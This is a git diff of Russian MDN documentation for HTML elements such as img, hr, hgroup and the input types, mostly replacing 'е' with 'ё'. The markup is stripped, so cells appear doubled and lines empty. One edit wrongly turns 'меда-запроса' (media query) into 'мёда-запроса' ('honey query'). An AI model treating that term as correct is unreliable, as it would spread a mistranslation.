              В этом примере технология чтения с экрана объявила бы, что есть два {{HTMLElement("nav")}} разделы, один называется «Основная навигация», а другой - «Нижний колонтитул». Если ярлыки не были предоставлены, человеку, использующему программное обеспечение для чтения с экрана, возможно, придётся расследовать каждый nav содержание элемента, чтобы определить их назначение.
                
  
              • Использование атрибута aria-labelledby
                • 
diff --git a/files/ru/web/html/element/hgroup/index.html b/files/ru/web/html/element/hgroup/index.html
index 029afcecdb..73d243817c 100644
--- a/files/ru/web/html/element/hgroup/index.html
+++ b/files/ru/web/html/element/hgroup/index.html
@@ -8,7 +8,7 @@ translation_of: Web/HTML/Element/hgroup
 
                
 
 
                
-
                Примечание использования: Этот элемент был удален из HTML5 (W3C) спецификации , но до сих пор остается в спецификации WHATWG. Он частично встроен в большинство браузеров, хотя бы поэтому вряд ли уйдет. Поскольку схематический алгоритм не реализован ни в одном браузере, семантика тега <hgroup> на практике реализована только теоретически. Спецификация HTML5 (W3C) дает совет как обозначать подзаголовки, альтернативные заголовки и слоганы.
                
+
                Примечание использования: Этот элемент был удалён из HTML5 (W3C) спецификации , но до сих пор остаётся в спецификации WHATWG. Он частично встроен в большинство браузеров, хотя бы поэтому вряд ли уйдёт. Поскольку схематический алгоритм не реализован ни в одном браузере, семантика тега <hgroup> на практике реализована только теоретически. Спецификация HTML5 (W3C) даёт совет как обозначать подзаголовки, альтернативные заголовки и слоганы.
                
 
                
 
 
                HTML <hgroup> Элемент (HTML Headings Group Element - Элемент Группы Заголовков HTML) представляет заголовок раздела. Он определяет один заголовок, который участвует в схеме документа как заголовок явно или неявно заданного раздела, к которому он принадлежит.
                
diff --git a/files/ru/web/html/element/hr/index.html b/files/ru/web/html/element/hr/index.html
index 054c0923f2..708ea55022 100644
--- a/files/ru/web/html/element/hr/index.html
+++ b/files/ru/web/html/element/hr/index.html
@@ -52,15 +52,15 @@ translation_of: Web/HTML/Element/hr
 
 
                
  
                {{htmlattrdef("align")}} {{deprecated_inline}}
                
- 
                Задает правило выравнивания.По умолчанию значение выставлено как left
                
+ 
                Задаёт правило выравнивания.По умолчанию значение выставлено как left
                
  
                {{htmlattrdef("color")}} {{Non-standard_inline}}
                
- 
                Задает цвет линии
                
+ 
                Задаёт цвет линии
                
  
                {{htmlattrdef("noshade")}} {{deprecated_inline}}
                
  
                Sets the rule to have no shading.
                
  
                {{htmlattrdef("size")}} {{deprecated_inline}}
                
  
                Устанавливает высоту в px
                
  
                {{htmlattrdef("width")}} {{deprecated_inline}}
                
- 
                Задает длину линии в px либо в %
                
+ 
                Задаёт длину линии в px либо в %
                
 
                
 
 
                Example
                
diff --git a/files/ru/web/html/element/html/index.html b/files/ru/web/html/element/html/index.html
index 7b1b856947..2787e89b66 100644
--- a/files/ru/web/html/element/html/index.html
+++ b/files/ru/web/html/element/html/index.html
@@ -22,7 +22,7 @@ translation_of: Web/HTML/Element/html
    
              
-   
+   
@@ -31,11 +31,11 @@ translation_of: Web/HTML/Element/html
     В {{glossary("HTML5")}} закрывающий тег может быть пропущен. В старых версиях HTML, если сразу за элементом <html> следует комментарий (при наличии элемента {{HTMLElement("body")}}), то закрывающий тег пропускать нельзя.
-   
+   
-   
+   
@@ -55,7 +55,7 @@ translation_of: Web/HTML/Element/html
  
              {{htmlattrdef("version")}} {{obsolete_inline}}
              Определяет версию HTML DTD (Document Type Definition, больше известное как {{glossary("Doctype")}}), которая управляет текущим документом. Этот атрибут не нужен, потому что он является избыточным, так как есть информация, указываемая в объявлении типа документа.
              {{htmlattrdef("xmlns")}}
              
- 
              Определяет {{glossary("Namespace", "пространство имен")}} {{glossary("XHTML", "XHTML-документа")}}. Значение по умолчанию "http://www.w3.org/1999/xhtml". Это требуется при {{glossary("parse", "парсинге")}} документов с помощью {{glossary("parser", "парсера")}} {{glossary("XML")}} и необязательно для документов text/html.
              
+ 
              Определяет {{glossary("Namespace", "пространство имён")}} {{glossary("XHTML", "XHTML-документа")}}. Значение по умолчанию "http://www.w3.org/1999/xhtml". Это требуется при {{glossary("parse", "парсинге")}} документов с помощью {{glossary("parser", "парсера")}} {{glossary("XML")}} и необязательно для документов text/html.
              Пример
              
diff --git a/files/ru/web/html/element/img/index.html b/files/ru/web/html/element/img/index.html
index 86e976ef18..a8434854db 100644
--- a/files/ru/web/html/element/img/index.html
+++ b/files/ru/web/html/element/img/index.html
@@ -23,7 +23,7 @@ translation_of: Web/HTML/Element/img
 
 
 
-
              Приведенный выше пример показывает очень простое использование элемента <img>. Атрибут src обязателен и содержит путь к изображению, которое вы хотите встроить в документ. Атрибут alt содержит текстовое описание изображения, которое не обязательно, но невероятно полезно для доступности — программы чтения с экрана читают это описание своим пользователям, так они знают какое изображение показано, и так же оно отображается на странице, если изображение не может быть загружено по какой-либо причине.
              
+
              Приведённый выше пример показывает очень простое использование элемента <img>. Атрибут src обязателен и содержит путь к изображению, которое вы хотите встроить в документ. Атрибут alt содержит текстовое описание изображения, которое не обязательно, но невероятно полезно для доступности — программы чтения с экрана читают это описание своим пользователям, так они знают какое изображение показано, и так же оно отображается на странице, если изображение не может быть загружено по какой-либо причине.
              Есть много других атрибутов, которые могут быть указаны для достижения различных целей, например:
              
 
@@ -40,7 +40,7 @@ translation_of: Web/HTML/Element/img
    
-   
+   
@@ -48,7 +48,7 @@ translation_of: Web/HTML/Element/img
    
-   
+   
@@ -100,7 +100,7 @@ translation_of: Web/HTML/Element/img
 
              
  
              {{htmlattrdef("alt")}}
              
  
              
- 
              Этим атрибутом задается альтернативное текстовое описание изображения.
              
+ 
              Этим атрибутом задаётся альтернативное текстовое описание изображения.
              
 
  
              
  
              Заметка: Браузеры не всегда отображают изображение на которое ссылается элемент. Это относится к неграфическим браузерам (включая те, которые используются людьми с нарушениями зрения), если пользователь решает не отображать изображения, или если браузер не может отобразить изображение, потому что оно имеет неверный или неподдерживаемый тип. В этих случаях браузер может заменить изображение текстом записанным в атрибуте alt элемента. По этим и другим причинам вы должны по возможности предоставлять полезное описание в атрибуте alt.
              
@@ -112,7 +112,7 @@ translation_of: Web/HTML/Element/img
  
              
  
              {{htmlattrdef("crossorigin")}}
              
  
              
- 
              Этот атрибут указывает, следует ли использовать {{glossary("CORS")}} при загрузке изображения или нет. Изображения с включенной поддержкой CORS могут быть повторно использованы в элементе {{HTMLElement("canvas")}} не будучи "испорченными". Допустимые значения:
              
+ 
              Этот атрибут указывает, следует ли использовать {{glossary("CORS")}} при загрузке изображения или нет. Изображения с включённой поддержкой CORS могут быть повторно использованы в элементе {{HTMLElement("canvas")}} не будучи "испорченными". Допустимые значения:
              
 
  
                
   
              • anonymous: Запрос cross-origin (т.е. с HTTP-заголовком {{httpheader("Origin")}}) выполняется, но параметры доступа не передаются (т.е. нет {{glossary("cookie")}}, не используется стандарт X.509 или базовая HTTP-аутентификация). Если сервер не предоставляет параметры доступа исходному сайту (не устанавливая HTTP-заголовок {{httpheader("Access-Control-Allow-Origin")}}), изображение будет "испорчено" и его использование будет ограничено;
                • 
@@ -150,7 +150,7 @@ translation_of: Web/HTML/Element/img
  
                Это атрибут логического типа, указывающий, что изображение является частью серверной карты ссылок. Если это так, то точные координаты клика отправляются на сервер.
                
 
  
                
- 
                Заметка: Этот атрибут разрешен, только если элемент <img> является потомком элемента {{htmlelement("a")}} с валидным (соответствующий требованиям) атрибутом {{htmlattrxref("href","a")}}.
                
+ 
                Заметка: Этот атрибут разрешён, только если элемент <img> является потомком элемента {{htmlelement("a")}} с валидным (соответствующий требованиям) атрибутом {{htmlattrxref("href","a")}}.
                
  
                
  
              
  
              {{htmlattrdef("referrerpolicy")}} {{experimental_inline}}
              
@@ -161,16 +161,16 @@ translation_of: Web/HTML/Element/img
   
            • no-referrer: Заголовок {{httpheader("Referer")}} не будет отправлен;
              • 
   
            • no-referrer-when-downgrade: Заголовок {{httpheader("Referer")}} не отправляется, когда происходит переход к источнику без {{glossary("TLS")}} ({{glossary("HTTPS")}}). Это поведение по умолчанию для {{glossary("user agent", "пользовательских агентов")}}, если не указано иное;
              • 
   
            • origin: Заголовок {{httpheader("Referer")}} будет содержать схему адресации ресурса (HTTP, HTTPS, {{glossary("FTP")}} и т.д), {{glossary("host", "хост")}} и {{glossary("port", "порт")}};
              • 
-  
            • origin-when-cross-origin: Переход на другие источники ограничит включенные реферальные данные схемой адресации ресурса, {{glossary("host", "хостом")}} и {{glossary("port", "портом")}}, в то время как переход из того же источника будет включать полный путь реферала;
              • 
-  
            • unsafe-url: Заголовок {{httpheader("Referer")}} будет включать источник и путь, но не фрагмент {{glossary("URL")}}, пароль или имя пользователя. Этот метод небезопасен, потому что будет утечка источников и путей от ресурсов, защищенных {{glossary("TLS")}}, к незащищенным источникам.
              • 
+  
            • origin-when-cross-origin: Переход на другие источники ограничит включённые реферальные данные схемой адресации ресурса, {{glossary("host", "хостом")}} и {{glossary("port", "портом")}}, в то время как переход из того же источника будет включать полный путь реферала;
              • 
+  
            • unsafe-url: Заголовок {{httpheader("Referer")}} будет включать источник и путь, но не фрагмент {{glossary("URL")}}, пароль или имя пользователя. Этот метод небезопасен, потому что будет утечка источников и путей от ресурсов, защищённых {{glossary("TLS")}}, к незащищённым источникам.
              • 
  
  
  
              {{htmlattrdef("sizes")}}
              
  
              
- 
              Список из одного или нескольких строк, разделенных запятыми, указывающих набор размеров источника. Каждый размер источника состоит из:
              
+ 
              Список из одного или нескольких строк, разделённых запятыми, указывающих набор размеров источника. Каждый размер источника состоит из:
              
 
  
                
-  
              1. Условия меда-запроса. Оно должно быть пропущено для последнего элемента.
                2. 
+  
              2. Условия мёда-запроса. Оно должно быть пропущено для последнего элемента.
                3. 
   
              3. Значения размера источника.
                4. 
  
              
 
@@ -180,13 +180,13 @@ translation_of: Web/HTML/Element/img
  
              {{glossary("URL")}} изображения. Этот атрибут является обязательным для элемента <img>. В браузерах, поддерживающих srcset, src обрабатывается как изображение-кандидат с дескриптором плотности пикселей 1x, если только изображение с этим дескриптором уже не определено в srcset или если srcset не содержит дескрипторы 'w'.
              
  
              {{htmlattrdef("srcset")}}
              
  
              
- 
              Список из одной или нескольких строк, разделенных запятыми, указывающих набор возможным источников изображения для использования {{glossary("user agent", "пользовательскими агентами")}}. Каждая строка состоит из:
              
+ 
              Список из одной или нескольких строк, разделённых запятыми, указывающих набор возможным источников изображения для использования {{glossary("user agent", "пользовательскими агентами")}}. Каждая строка состоит из:
              
 
  
                
   
              1. {{glossary("URL")}} изображения.
                2. 
   
              2. Необязательного, пробела, сопровождаемого:
    
                  
-    
                • дескриптором ширины или положительным целым числом, за которым сразу же следует 'w'. Дескриптор ширины делится на размер источника, полученный из атрибута sizes, для расчета эффективной плотности пикселей;
                  • 
+    
                • дескриптором ширины или положительным целым числом, за которым сразу же следует 'w'. Дескриптор ширины делится на размер источника, полученный из атрибута sizes, для расчёта эффективной плотности пикселей;
                  • 
     
                • дескриптором плотности пикселей, который является положительным числом с плавающей точкой за которым сразу же следует 'x'.
                  • 
    
                
   
                3. 
@@ -196,7 +196,7 @@ translation_of: Web/HTML/Element/img
 
  
                Нельзя смешивать дескрипторы ширины с дескрипторами плотности пикселей в одном атрибуте srcset. Повторение дескрипторов (например, два источника в одном srcset с одинаковым дескриптором '2x') так же является недопустимым.
                
 
- 
                {{glossary("user agent", "Пользовательские агенты")}} выбирают любой из доступных источников на свое усмотрение. Это предоставляет им значительную свободу действий для адаптации их выбора на основе таких вещей, как предпочтения пользователя или {{glossary("bandwidth", "пропускная способность")}}. Смотрите наше руководство "Адаптивные изображения" для примера.
                
+ 
                {{glossary("user agent", "Пользовательские агенты")}} выбирают любой из доступных источников на своё усмотрение. Это предоставляет им значительную свободу действий для адаптации их выбора на основе таких вещей, как предпочтения пользователя или {{glossary("bandwidth", "пропускная способность")}}. Смотрите наше руководство "Адаптивные изображения" для примера.
                
  
              
  
              {{htmlattrdef("width")}}
              
  
              Внутренняя ширина (см. {{glossary("intrinsic size", "Внутренний размер")}}) изображения в пикселях.
              
@@ -234,7 +234,7 @@ translation_of: Web/HTML/Element/img
  
              Ссылка на более подробное описание изображения. Возможными значениями являются {{glossary("URL")}} или {{htmlattrxref("id")}} элемента.
              
 
  
              
- 
              Заметка: Этот атрибут упомянут в последней версии от {{glossary("W3C")}}, HTML 5.2, но был удален из живого стандарта HTML от {{glossary("WHATWG")}}. У него неопределенное будущее; авторы должны использовать альтернативы {{glossary("WAI")}}-{{glossary("ARIA")}}, такие как aria-describedby или aria-details.
              
+ 
              Заметка: Этот атрибут упомянут в последней версии от {{glossary("W3C")}}, HTML 5.2, но был удалён из живого стандарта HTML от {{glossary("WHATWG")}}. У него неопределённое будущее; авторы должны использовать альтернативы {{glossary("WAI")}}-{{glossary("ARIA")}}, такие как aria-describedby или aria-details.
              
  
              
  
  
              {{htmlattrdef("name")}} {{Obsolete_Inline}}
              
@@ -306,7 +306,7 @@ translation_of: Web/HTML/Element/img
 
 
              Создание значимых альтернативных описаний
              
 
-
              Значение атрибута alt должно четко и кратко описывать содержимое изображения. Он не должен описывать наличие самого изображения или название файла изображения. Если атрибут alt намеренно пропущен, потому что изображение не имеет текстового эквивалента, рассмотрите альтернативные способы представления содержимого, которое изображение пытается передать.
              
+
              Значение атрибута alt должно чётко и кратко описывать содержимое изображения. Он не должен описывать наличие самого изображения или название файла изображения. Если атрибут alt намеренно пропущен, потому что изображение не имеет текстового эквивалента, рассмотрите альтернативные способы представления содержимого, которое изображение пытается передать.
              
 
 
              Плохо
              
 
diff --git a/files/ru/web/html/element/index.html b/files/ru/web/html/element/index.html
index 2fe4bfa7e7..2e960c4e4e 100644
--- a/files/ru/web/html/element/index.html
+++ b/files/ru/web/html/element/index.html
@@ -33,7 +33,7 @@ translation_of: Web/HTML/Element
 
              Текстовое содержание
              
 
 
              
-
              Используйте текстовые элементы HTML для организации блоков или разделов содержания, размещенные между тегами открытия <body> и закрытия </body>. Важное значение для {{Glossary("accessibility")}} и {{Glossary("SEO")}}, чтобы эти элементы определили цель или структуру этого контента.
              
+
              Используйте текстовые элементы HTML для организации блоков или разделов содержания, размещённые между тегами открытия <body> и закрытия </body>. Важное значение для {{Glossary("accessibility")}} и {{Glossary("SEO")}}, чтобы эти элементы определили цель или структуру этого контента.
              
 
 
               
              
 
              
diff --git a/files/ru/web/html/element/input/button/index.html b/files/ru/web/html/element/input/button/index.html
index 984fa13988..cd540ba599 100644
--- a/files/ru/web/html/element/input/button/index.html
+++ b/files/ru/web/html/element/input/button/index.html
@@ -68,7 +68,7 @@ translation_of: Web/HTML/Element/input/button
 
 
              Простая кнопка
              
 
-
              Мы начнем с создания простой кнопки с обработчиком события {{event("click")}} , который запускает наш компьютер (ну, он переключает value кнопки и текстовое содержимое следующего абзаца):
              
+
              Мы начнём с создания простой кнопки с обработчиком события {{event("click")}} , который запускает наш компьютер (ну, он переключает value кнопки и текстовое содержимое следующего абзаца):
              
 
 
              <form>
   <input type="button" value="Запустить ПК">
diff --git a/files/ru/web/html/element/input/color/index.html b/files/ru/web/html/element/input/color/index.html
index 0dcdf05619..8a27bf8d8b 100644
--- a/files/ru/web/html/element/input/color/index.html
+++ b/files/ru/web/html/element/input/color/index.html
@@ -16,7 +16,7 @@ translation_of: Web/HTML/Element/input/color
 ---
 
              {{HTMLRef}}
              
 
-
              {{HTMLElement("input")}} элементы типа color предоставляют элемент пользовательского интерфейса, который позволяет пользователю указать цвет либо с помощью визуального интерфейса выбора цвета, либо путем ввода цвета в текстовое поле в шестнадцатеричном формате #rrggbb. Разрешены только простые цвета (без альфа-канала), хотя CSS colors имеет больше форматов, например названия цветов, функциональные обозначения и шестнадцатеричный формат с альфа-каналом.
              
+
              {{HTMLElement("input")}} элементы типа color предоставляют элемент пользовательского интерфейса, который позволяет пользователю указать цвет либо с помощью визуального интерфейса выбора цвета, либо путём ввода цвета в текстовое поле в шестнадцатеричном формате #rrggbb. Разрешены только простые цвета (без альфа-канала), хотя CSS colors имеет больше форматов, например названия цветов, функциональные обозначения и шестнадцатеричный формат с альфа-каналом.
              
 
 
              Представление элемента может существенно отличаться от одного браузера и/или платформы к другой — это может быть простой текстовый ввод, который автоматически проверяет правильность ввода информации о цвете в соответствующем формате, или стандартный для платформы выбор цвета, или какое-то пользовательское окно выбора цвета.
              
 
@@ -51,10 +51,10 @@ translation_of: Web/HTML/Element/input/color
 
 
              Value
              
 
-
              {{Htmlattrxref ("value","input")}} элемента {{HTMLElement ("input")}} типа color всегда является {{domxref ("DOMString")}}, который содержит 7-символьную строку, задающую цвет RGB в шестнадцатеричном формате. Хотя вы можете ввести цвет в верхнем или нижнем регистре, он будет сохранен в виде нижнего регистра. Value никогда не бывает в какой-либо другой форме и никогда не бывает пустым.
              
+
              {{Htmlattrxref ("value","input")}} элемента {{HTMLElement ("input")}} типа color всегда является {{domxref ("DOMString")}}, который содержит 7-символьную строку, задающую цвет RGB в шестнадцатеричном формате. Хотя вы можете ввести цвет в верхнем или нижнем регистре, он будет сохранён в виде нижнего регистра. Value никогда не бывает в какой-либо другой форме и никогда не бывает пустым.
              
 
 
              
-
              Примечание: установка значения на всё, что не является допустимым, полностью непрозрачным цветом RGB в шестнадцатеричной системе счисления, приведет к тому, что значение будет установлено на #000000. В частности, вы не можете использовать стандартные имена цветов CSS или любой синтаксис функций CSS для установки значения. Это имеет смысл, если иметь в виду, что HTML и CSS-это отдельные языки и спецификации. Кроме того, цвета с альфа-каналом не поддерживаются; указание цвета в 9-символьной шестнадцатеричной системе счисления (например, #009900aa) также приведет к тому, что цвет будет установлен на #000000.
              
+
              Примечание: установка значения на всё, что не является допустимым, полностью непрозрачным цветом RGB в шестнадцатеричной системе счисления, приведёт к тому, что значение будет установлено на #000000. В частности, вы не можете использовать стандартные имена цветов CSS или любой синтаксис функций CSS для установки значения. Это имеет смысл, если иметь в виду, что HTML и CSS-это отдельные языки и спецификации. Кроме того, цвета с альфа-каналом не поддерживаются; указание цвета в 9-символьной шестнадцатеричной системе счисления (например, #009900aa) также приведёт к тому, что цвет будет установлен на #000000.
              
 
              
 
 
              Использование настроек цвета
              
@@ -69,7 +69,7 @@ translation_of: Web/HTML/Element/input/color
 
 
              {{EmbedLiveSample("Providing_a_default_color", 700, 30)}}
              
 
-
              Если вы не зададите значение, то по умолчанию будет #000000, то есть черный цвет. Значение должно быть в семизначной шестнадцатеричной системе счисления, то есть символ"#", за которым следуют две цифры, каждая из которых представляет красный, зеленый и синий цвета, например: #rrggbb. Если у вас есть цвета в любом другом формате (например, имена цветов CSS или цветовые функции CSS, такие как rgb () или rgba ()), вам придется преобразовать их в шестнадцатеричные перед установкой значения.
              
+
              Если вы не зададите значение, то по умолчанию будет #000000, то есть чёрный цвет. Значение должно быть в семизначной шестнадцатеричной системе счисления, то есть символ"#", за которым следуют две цифры, каждая из которых представляет красный, зелёный и синий цвета, например: #rrggbb. Если у вас есть цвета в любом другом формате (например, имена цветов CSS или цветовые функции CSS, такие как rgb () или rgba ()), вам придётся преобразовать их в шестнадцатеричные перед установкой значения.
              
 
 
              Отслеживание изменений цвета
              
 
@@ -109,7 +109,7 @@ function watchColorPicker(event) {
 
 
              Пример
              
 
-
              Давайте создадим пример, который делает немного больше с цветом входного сигнала путем отслеживания {{domxref("HTMLElement/change_event", "change")}} и {{domxref("HTMLElement/input_event", "input")}} событий, чтобы взять новый цвет и применить его к каждому {{HTMLElement("Р")}} элемента в документе.
              
+
              Давайте создадим пример, который делает немного больше с цветом входного сигнала путём отслеживания {{domxref("HTMLElement/change_event", "change")}} и {{domxref("HTMLElement/input_event", "input")}} событий, чтобы взять новый цвет и применить его к каждому {{HTMLElement("Р")}} элемента в документе.
              
 
 
              HTML
              
 
diff --git a/files/ru/web/html/element/input/date/index.html b/files/ru/web/html/element/input/date/index.html
index c69a1eba71..b743e3bd44 100644
--- a/files/ru/web/html/element/input/date/index.html
+++ b/files/ru/web/html/element/input/date/index.html
@@ -52,7 +52,7 @@ translation_of: Web/HTML/Element/input/date
 
 
              Значение
              
 
-
              Возвращает {{domxref("DOMString")}}, представляющий значение даты введенной в input. Вы можете установить значение по умолчанию для элемента с помощью добавления атрибута в {{htmlattrxref("value", "input")}}, например:
              
+
              Возвращает {{domxref("DOMString")}}, представляющий значение даты введённой в input. Вы можете установить значение по умолчанию для элемента с помощью добавления атрибута в {{htmlattrxref("value", "input")}}, например:
              
 
 
              <input id="date" type="date" value="2017-06-01">
              
 
@@ -123,7 +123,7 @@ console.log(dateControl.valueAsNumber); // prints 1496275200000, a JavaScript ti
 
 
              Использование полей ввода c типом date
              
 
-
              На первый взгляд, элемент <input type="date"> выглядит заманчиво — он предоставляет легкий графический интерфейс для выбора даты, нормализует формат даты, отправляемой на сервер независимо от локальных настроек пользователя. Тем не менее, есть проблемы с <input type="date"> в связи с ограниченной поддержкой браузеров.
              
+
              На первый взгляд, элемент <input type="date"> выглядит заманчиво — он предоставляет лёгкий графический интерфейс для выбора даты, нормализует формат даты, отправляемой на сервер независимо от локальных настроек пользователя. Тем не менее, есть проблемы с <input type="date"> в связи с ограниченной поддержкой браузеров.
              
 
 
              В этом разделе мы посмотрим на простые, а затем и более сложные способы использования <input type="date">, и позже дадим советы по уменьшению влияния поддержки браузерами (смотрите {{anch("Handling browser support")}}).
              
 
diff --git a/files/ru/web/html/element/input/datetime-local/index.html b/files/ru/web/html/element/input/datetime-local/index.html
index 63ad6800fc..7a5f83d340 100644
--- a/files/ru/web/html/element/input/datetime-local/index.html
+++ b/files/ru/web/html/element/input/datetime-local/index.html
@@ -5,7 +5,7 @@ translation_of: Web/HTML/Element/input/datetime-local
 ---
 
              {{HTMLRef}}
              
 
-
              {{htmlelement("input")}} элемент типа datetime-local создает поля ввода, позволяющие легко ввести дату и время —  год, месяц, день, часы и минуты.
              
+
              {{htmlelement("input")}} элемент типа datetime-local создаёт поля ввода, позволяющие легко ввести дату и время —  год, месяц, день, часы и минуты.
              
 
 
              Интерфейс управления варьируется от браузера к браузеру, на данный момент поддержка носит фрагментарный характер, только с Chrome/Opera  и EDGE на рабочем столе — и большинство современных мобильных версиях браузера — наличие полезной реализации. В других браузерах элемент управления сводиться до простого <input type="text">.
              
 
@@ -19,7 +19,7 @@ translation_of: Web/HTML/Element/input/datetime-local
 
 
              
 
-
              В Edge datetime-local элемент управления выглядит как на скриншоте ниже. Клик на дате и времени отобразит два отдельных поля выбора, чтобы Вы могли легко установить дату и время. То есть, по сути, получаем два элемента date и time, объединенных в один:
              
+
              В Edge datetime-local элемент управления выглядит как на скриншоте ниже. Клик на дате и времени отобразит два отдельных поля выбора, чтобы Вы могли легко установить дату и время. То есть, по сути, получаем два элемента date и time, объединённых в один:
              
 
 
              
 
@@ -52,14 +52,14 @@ translation_of: Web/HTML/Element/input/datetime-local
 
 
              Значение
              
 
-
               {{domxref("DOMString")}} представление значения даты, введенной во входные данные. Вы можете установить значение по умолчанию для ввода, включая дату внутри {{htmlattrxref("value", "input")}} атрибута, как:
              
+
               {{domxref("DOMString")}} представление значения даты, введённой во входные данные. Вы можете установить значение по умолчанию для ввода, включая дату внутри {{htmlattrxref("value", "input")}} атрибута, как:
              
 
 
              <label for="party">Enter a date and time for your party booking:</label>
 <input id="party" type="datetime-local" name="partydate" value="2017-06-01T08:30">
              
 
 
              {{ EmbedLiveSample('Value', 600, 60) }}
              
 
-
              Одна вещь, чтобы отметить, что отображаемый формат даты отличается от фактического значения — отображаемый формат даты будет выбран на основе установленного языкового стандарта операционной системы пользователя, в то время как датазначение всегда форматируется yyyy-MM-ddThh:mm. Когда значение передается на сервер, например, это будет выглядеть partydate=2017-06-01T08:30.
              
+
              Одна вещь, чтобы отметить, что отображаемый формат даты отличается от фактического значения — отображаемый формат даты будет выбран на основе установленного языкового стандарта операционной системы пользователя, в то время как датазначение всегда форматируется yyyy-MM-ddThh:mm. Когда значение передаётся на сервер, например, это будет выглядеть partydate=2017-06-01T08:30.
              
 
 
              
 
              Примечание: также имейте в виду, что если такие данные поступают через http-запрос Get, двоеточие нужно экранировать для включения в параметры URL, например partydate=2017-06-01T08%3A30.
              
diff --git a/files/ru/web/html/element/input/image/index.html b/files/ru/web/html/element/input/image/index.html
index 08b69b943a..d0045be0cd 100644
--- a/files/ru/web/html/element/input/image/index.html
+++ b/files/ru/web/html/element/input/image/index.html
@@ -8,7 +8,7 @@ translation_of: Web/HTML/Element/input/image
 
              
  
              Потоковый контент, фразовый контент, явный контент.
   
              
   
              Разрешенный контентРазрешённый контент
    Фразовый контент.
   
              
   
              Ни одного; Оба тега, открывающий и закрывающий, являются обязательными.
   
              
   
              Разрешенные родителиРазрешённые родители
    Любой элемент, который принимает фразовый контент.
   
              
   
              Разрешенные роли ARIAРазрешённые роли ARIA
    Любые
   
              
   
              
 
 
 
 
 
 Flow content, phrasing content, embedded content, interactive content, palpable content.
   
              
   
              Разрешенное содержимоеРазрешённое содержимое
    Отсутствует, это {{Glossary("empty element")}}.
   
              
   
              Любой элемент, который допускает встроенный контент
   
              
   
              Разрешенные роли ARIAРазрешённые роли ARIA
    {{ARIARole("application")}}, {{ARIARole("document")}}, {{ARIARole("img")}}, {{ARIARole("presentation")}}
   
              
   
              
 
 
 
 
 
 
 
 
 
 Основной поток, явный контент.
   
              
   
              Разрешенное содержимоеРазрешённое содержимое
    Контент основного потока, кроме <footer> и {{HTMLElement("header")}}.
   
              
   
              Ни одного; Оба тега, открывающий и закрывающий, являются обязательными.
   
              
   
              Разрешенные родительские элементыРазрешённые родительские элементы
    Любой элемент, который разрешает Контент основного потока в качестве содержимого. Обратите внимание, что элемент <footer> не должен быть потомком элемента {{HTMLElement("address")}}, {{HTMLElement("header")}} или другого элемента <footer>.
   
              
   
              Разрешенные ARIA ролиРазрешённые ARIA роли
    {{ARIARole("group")}}, {{ARIARole("presentation")}}
   
              
   
              
 
 Отсутствуют.
   
              
   
              Разрешенное содержимоеРазрешённое содержимое
    
     
              Если документ является документом {{HTMLElement("iframe")}} с атрибутом {{htmlattrxref("srcdoc", "iframe")}}, или если информация о заголовке доступна из протокола более высокого уровня (например, строки темы в электронном письме HTML), то ноль или более элементов содержащих метаданные.
              
 
@@ -43,7 +43,7 @@ translation_of: Web/HTML/Element/head
                  		Элемент {{HTMLElement("html")}} (<head> является его первым дочерним элементом).
   
              
   
              Разрешенные роли ARIAРазрешённые роли ARIA
    Отсутствуют.
   
              
   
              
 
 
              
    {{SpecName('HTML WHATWG', 'semantics.html#the-head-element', '<head>')}}
    {{Spec2('HTML WHATWG')}}Нет изменений с последнего "snapshot" (состояние сохраненное в определенный момент времени)Нет изменений с последнего "snapshot" (состояние сохранённое в определённый момент времени)
   
              
   
              
    {{SpecName('HTML5 W3C', 'document-metadata.html#the-head-element', '<head>')}}Основной поток, явный контент.
   
              
   
              Разрешенное содержимоеРазрешённое содержимое
    Основной поток, кроме <header> и {{HTMLElement("footer")}}
   
              
   
              Ни одного; Оба тега, открывающий и закрывающий, являются обязательными.
   
              
   
              Разрешенные родительские элементыРазрешённые родительские элементы
    Любой элемент, который разрешает контент основного потока в качестве содержимого. Обратите внимание, что элемент <header> не должен быть потомком элемента {{HTMLElement("address")}}, {{HTMLElement("footer")}} или другого элемента <header>.
   
              
   
              Разрешенные роли ARIAРазрешённые роли ARIA
    {{ARIARole("group")}}, {{ARIARole("presentation")}}
   
              
   
              
 
 Поток контента, заголовок контента, явный контент.
   
              
   
              Разрешенный контентРазрешённый контент
    Фразированное содержание.
   
              
   
              {{no_tag_omission}}
   
              
   
              Разрешенные родителиРазрешённые родители
    Любые элементы которые принимают Содержание потока; не используй как дочерний {{HTMLElement("hgroup")}} элемент, сейчас он устарел
   
              
   
              Разрешенные роли ДМИПРазрешённые роли ДМИП
    {{ARIARole("tab")}}, {{ARIARole("presentation")}}
   
              
   
              
 
 
 
 Отсутствуют.
   
              
   
              Разрешенное содержимоеРазрешённое содержимое
    Один элемент {{HTMLElement("head")}}, за которым следует один элемент {{HTMLElement("body")}}.
   
              
   
              
   
              
   
              Разрешенные родительские элементыРазрешённые родительские элементы
    Отсутствуют. Это корневой элемент документа.
   
              
   
              Разрешенные роли ARIAРазрешённые роли ARIA
    Отсутствуют.
   
              
   
              
  
  
 
 
 
 
 Потоковый контент, фразовый контент, встроенный контент, явный контент. Если элемент имеет атрибут usemap, он так же принадлежит к категории интерактивного контента.
   
              
   
              Разрешенное содержимоеРазрешённое содержимое
    Никакое, так как это {{Glossary("empty element", "пустой элемент")}}.
   
              
   
              Должен иметь открывающий тег и не должен иметь закрывающий.
   
              
   
              Разрешенные родительские элементыРазрешённые родительские элементы
    Любой элемент, который разрешает встроенный контент в качестве содержимого.
   
              
   
              
-   
+   
@@ -16,7 +16,7 @@ translation_of: Web/HTML/Element/input/image
    
-   
+   
diff --git a/files/ru/web/html/element/input/index.html b/files/ru/web/html/element/input/index.html
index c949910b8d..d868c942c6 100644
--- a/files/ru/web/html/element/input/index.html
+++ b/files/ru/web/html/element/input/index.html
@@ -32,7 +32,7 @@ translation_of: Web/HTML/Element/input
  
              {{htmlattrdef("type")}}
              Тип элемента для отображения. Если этот атрибут не указан, по умолчанию используется text. Возможными значениями являются:
  
                
-  
              • button: Кнопка без предопределенного поведения.
                • 
+  
              • button: Кнопка без предопределённого поведения.
                • 
   
              • checkbox: Флажок («чекбокс»). Следует использовать атрибут value для определения значения, которое будет отдано этим элементом. Используйте атрибут checked, чтобы указать, должен ли флажок быть выставлен. Можно также использовать атрибут indeterminate, чтобы указать, что флажок находится в неопределённом состоянии (на большинстве платформ при этом рисуется горизонтальная линия поперёк флажка).
                • 
   
              • color: {{HTMLVersionInline("5")}} Элемент управления цветом. Пользовательский интерфейс выбора цвета не имеет никаких других функций, кроме принятия простых цветов в виде текста (больше информации).
                • 
   
